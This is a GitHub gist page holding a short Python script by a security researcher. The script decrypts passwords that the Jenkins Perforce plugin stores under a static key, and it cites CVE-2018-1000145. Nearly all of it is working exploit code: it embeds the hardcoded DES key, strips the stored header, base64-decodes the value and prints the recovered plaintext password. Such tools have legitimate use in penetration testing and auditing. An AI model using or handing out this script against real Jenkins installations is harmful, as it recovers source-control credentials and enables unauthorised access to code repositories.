Skip to content

Instantly share code, notes, and snippets.

@Crypt0s
Created April 2, 2021 14:40
Show Gist options
  • Save Crypt0s/b61683c8e80a97aad3025c6baab4ed49 to your computer and use it in GitHub Desktop.
Save Crypt0s/b61683c8e80a97aad3025c6baab4ed49 to your computer and use it in GitHub Desktop.
Jenkins Perforce Password Decryption
#!/usr/bin/python3
# usage:
# python3 decrypt.py [base64 perforce password]
# Possibly related to CVE-2018-1000145 : https://nvd.nist.gov/vuln/detail/CVE-2018-1000145
# The Perforce plugin in Jenkins encrypts passwords with a static key and not the traditional Jenkins secrets storage mechanism
# This script decrypts those passwords using the static key yanked from the Jenkins Perforce code.
#
# Copyright 2021 Bryan "Crypt0s" Halfpap / Netragard LLC (https://netragard.com)
# Greetz to @tit0n and @greybrimstone
import base64
from Crypto.Cipher import DES
import sys
def decryptPerforcePassword(ciphertext):
# it's not mentioned in the https://github.com/jenkinsci/perforce-plugin/blob/ec4cc343161606e5daa33002b2efe97644ada836/src/main/java/hudson/plugins/perforce/PerforcePasswordEncryptor.java
# but the encryption factory must be MODE_ECB since no IV is used.
crypter = DES.new(b"405kqo0g", DES.MODE_ECB)
# replace the encryption header "0f0kqlwa"
ciphertext = ciphertext[8:]
ciphertext = base64.b64decode(ciphertext)
plaintext = crypter.decrypt(ciphertext)
print(plaintext)
if __name__ == "__main__":
decryptPerforcePassword(sys.argv[1])
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment